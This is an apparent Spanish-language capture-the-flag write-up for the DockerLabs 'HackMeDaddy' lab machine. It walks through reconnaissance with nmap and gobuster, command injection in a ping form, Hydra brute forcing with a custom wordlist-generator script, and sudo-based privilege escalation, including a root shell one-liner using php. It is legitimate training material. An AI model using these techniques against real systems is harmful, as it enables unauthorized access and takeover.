> For the complete documentation index, see [llms.txt](https://hacking-3.gitbook.io/barre/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-3.gitbook.io/barre/write-up/dockerlabs/dificil/hackmedaddy.md).

# HackMeDaddy

## Máquina

<figure><img src="/files/vgTdLGgduBbPeTygzLTi" alt=""><figcaption></figcaption></figure>

## Reconocimiento

### Nmap

```sh
sudo nmap -p- --open -sSCV --min-rate 5000 -vvv -Pn -oN nmap.txt 172.17.0.2
```

```
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 64 OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 05:48:9d:f6:29:e1:dd:c4:f6:18:87:ff:13:15:5a:80 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBE0Ra4pI1eNLJfwN2m3FHPR7J9vxvrhNHrOD5OtrfnkmbKdqFnz/VnKdbNO7P1exC0HpJURCQlXNbRXFsIyqvUI=
|   256 0a:3d:0d:c3:fe:4e:57:8a:de:1f:5f:3c:8e:92:e9:5b (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIL6rQ2ErCdA2r5W/IIOUGmr9huzeQNaXCJ8MR3eup9Sz
80/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.58 ((Ubuntu))
| http-methods: 
|_  Supported Methods: HEAD GET POST OPTIONS
| http-robots.txt: 3 disallowed entries 
|_/FLAG.txt /joomla/* /secret/
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: HackMeDaddy - Hacking \xC3\x89tico
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

### Gobuster

{% code overflow="wrap" %}

```sh
sudo gobuster dir -u 172.17.0.2 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,js,txt,zip,rar,tar,gz,css,xml,json,rb,py,jpg,jpeg,png,gif,svg,ico,pdf,sql,log,ini,conf,config,backup,sh,bash -o goubusterExt.txt
```

{% endcode %}

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.17.0.2
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              zip,log,backup,rar,tar,png,ini,sql,sh,txt,css,rb,conf,bash,php,ico,html,json,pdf,gz,xml,jpg,jpeg,svg,config,js,py,gif
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/index.html           (Status: 200) [Size: 7036]
/info.txt             (Status: 200) [Size: 123]
/flag.txt             (Status: 200) [Size: 455]
/robots.txt           (Status: 200) [Size: 691]
/.php                 (Status: 403) [Size: 275]
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
Progress: 6396240 / 6396269 (100.00%)
===============================================================
Finished
===============================================================
```

### Web

La pagina de inicio no nos muestra nada de interes.

<figure><img src="/files/APn68l5S7U9CyZO40CGM" alt=""><figcaption></figcaption></figure>

Si miramos el código de la web, podemos ver el script que se ejecuta, así como la salida completa de los comandos .

<figure><img src="/files/9JUCb9zcFbCdWheaoUt5" alt=""><figcaption></figcaption></figure>

En los diferentes archivos encontramos:

* La <mark style="color:purple;">1º flag</mark> de la máquina.

<figure><img src="/files/KOB5cLkzIOz84qBqyG2W" alt=""><figcaption></figcaption></figure>

* Directorios deshabilitados.

<figure><img src="/files/An6GmvN3OQnAlTjiKN2f" alt=""><figcaption></figcaption></figure>

* Un mensaje que nos da una pista de como continuar.

<figure><img src="/files/fAFnBaqPLu2K4dogXrDV" alt=""><figcaption></figcaption></figure>

El README.txt lo encontramos en uno de los comando que se "ejecutan" en la pagina principal de la web, se ve con más claridad en el script.

{% code overflow="wrap" %}

```
command: 'cat README.txt', output: 'd05notfound exploit payload shell bruteforce vulnerability cipher zero-day phishing root port_scan firewall backdoor' }
```

{% endcode %}

Tras un buen rato pensando y probando cosas veo que pueden ser directorios, por lo que pruebo y si el primer nombre es un directorio con un .php dentro.&#x20;

<figure><img src="/files/3xVnYB1vYlwuLDRhOhCm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/TEojLxpDNeebYi8HZXEN" alt=""><figcaption></figcaption></figure>

El único campo con el que podemos interactuar es el apartado de "Comprobación de Ping" el cual si introducimos una IP no nos muestra nada, por lo que se me ocurre interceptar el trafico y ver que esta pasando.

## Explotación

### Burpsuite

En la respuesta al introducir una IP vemos que si que ejecuta un ping.

<figure><img src="/files/Fu3JPokGGlwA1JT1h1Sq" alt=""><figcaption></figcaption></figure>

Pruebo un comando normal como un `whoami` pero no me sale nada, por lo que me fijo en la respuesta y veo que parece ser que primero hace el ping y luego puede ejecutar un comando, por lo que lo pruebo.

<figure><img src="/files/dS6xNu4GFKXOIKKebl7D" alt=""><figcaption></figcaption></figure>

Funciona, asi que acontinuación investigo un poco que hay en la maquina.

{% hint style="info" %}
En este punto se puede hacer una reverse shell, pero no fui capaz.
{% endhint %}

<figure><img src="/files/dGn90kR413eo8qYGTupp" alt=""><figcaption></figcaption></figure>

Vemos que el usuario `e1i0t` tiene sus contraseñas en algún lado, por lo que sigo buscando un poco más y doy con un par de diccionarios con contraseñas, por lo que los voy a probar con el usuario de `e1i0t`.

<figure><img src="/files/N4tqIBG3elCZx32pCXZo" alt=""><figcaption></figcaption></figure>

### Hydra

<figure><img src="/files/n6CRgcSohi5ikzrxCSSQ" alt=""><figcaption></figcaption></figure>

Sacamos la contraseña de `e1i0t` y nos conectamos por ssh y tenemos la <mark style="color:purple;">2º flag</mark>:

<figure><img src="/files/brydvy4JjxvNCnmfVQqP" alt=""><figcaption></figcaption></figure>

## Escalado de privilegios

Miramos los permisos del usuario.

<figure><img src="/files/5K8rrzD5VwXid2W0A8wI" alt=""><figcaption></figcaption></figure>

Vemos que tiene permisos como el usuario `an0n1mat0` para usar find, por lo que usamos [GTFOBins](https://gtfobins.github.io/) para ver como escalar privilegios.

<figure><img src="/files/o5F74kHqr05jRAzYtyBb" alt=""><figcaption></figcaption></figure>

Siendo el usuario `a0n1mat0` miramos que tiene y encontramos la <mark style="color:purple;">3º flag</mark> y una nota que nos indica la existencia de una carpeta "secreta".

<figure><img src="/files/HldftS60NGZJOhtgLhlN" alt=""><figcaption></figcaption></figure>

Encontramos la carpeta y contiene otro mensaje

<figure><img src="/files/nJTFFO4vNjpffhbW1Paw" alt=""><figcaption></figcaption></figure>

Usando el comando find encontraras el archivo que nos indica el mensaje: `passwords_users.txt` en la ruto `./usr/local/bin/`, Este archivo contiene *usuario:contraseña* pero hay que averiguar cual es la contraseña del usuario `an0n1mat0`

<figure><img src="/files/kJRLhb7Z4vXHuZaQkxL9" alt=""><figcaption></figcaption></figure>

Como ya sabemos casi toda la contraseña del usuario `an0n1mat0` a excepción de 2 caracteres, por lo que he creado un pequeño script que sustituye @\`s por letras y números generando un diccionario con todas las posible combinaciones, aquí os lo dejo:

```python
import itertools
import string

# Solicitar la palabra base con '@'
base_word = input("Introduce la palabra con '@': ")

# Lista de caracteres a reemplazar (a-z y 1-9)
characters = string.ascii_lowercase + '123456789'

# Encuentra las posiciones de los '@'
positions = [i for i, char in enumerate(base_word) if char == '@']

# Genera todas las combinaciones posibles considerando 35 combinaciones por posición
with open('output.txt', 'w') as f:
    for combo in itertools.product(characters, repeat=len(positions)):
        temp_word = list(base_word)
        for i, pos in enumerate(positions):
            temp_word[pos] = combo[i]
        f.write(''.join(temp_word) + '\n')

print(f"Generadas todas las combinaciones posibles. Guardadas en 'output.txt'")
```

Usamos el diccionario que acabamos de generar y lo utilizamos con hydra para sacar la contraseña de `an0n1mat0`.

<figure><img src="/files/UD8qkvHufLUVv116NmVD" alt=""><figcaption></figcaption></figure>

Volvemos a la maquina y ahora ya podemos ver los permisos de `an0n1mat0`.

<figure><img src="/files/ObCTxQr5MQFRqQ9wfqwZ" alt=""><figcaption></figcaption></figure>

Escalamos privilegios de esta manera `sudo php -r "system('/bin/bash');"` y ya seriamos root, consiguiendo así la <mark style="color:purple;">4º flag</mark> y terminando la máquina.

<figure><img src="/files/rxMiUTynzscHpHuB6LxR" alt=""><figcaption></figcaption></figure>

## Conclusión

Es una máquina completa, siendo un buen punto de entrada en las máquinas de dificultad "difícil" dentro de DockerLabs
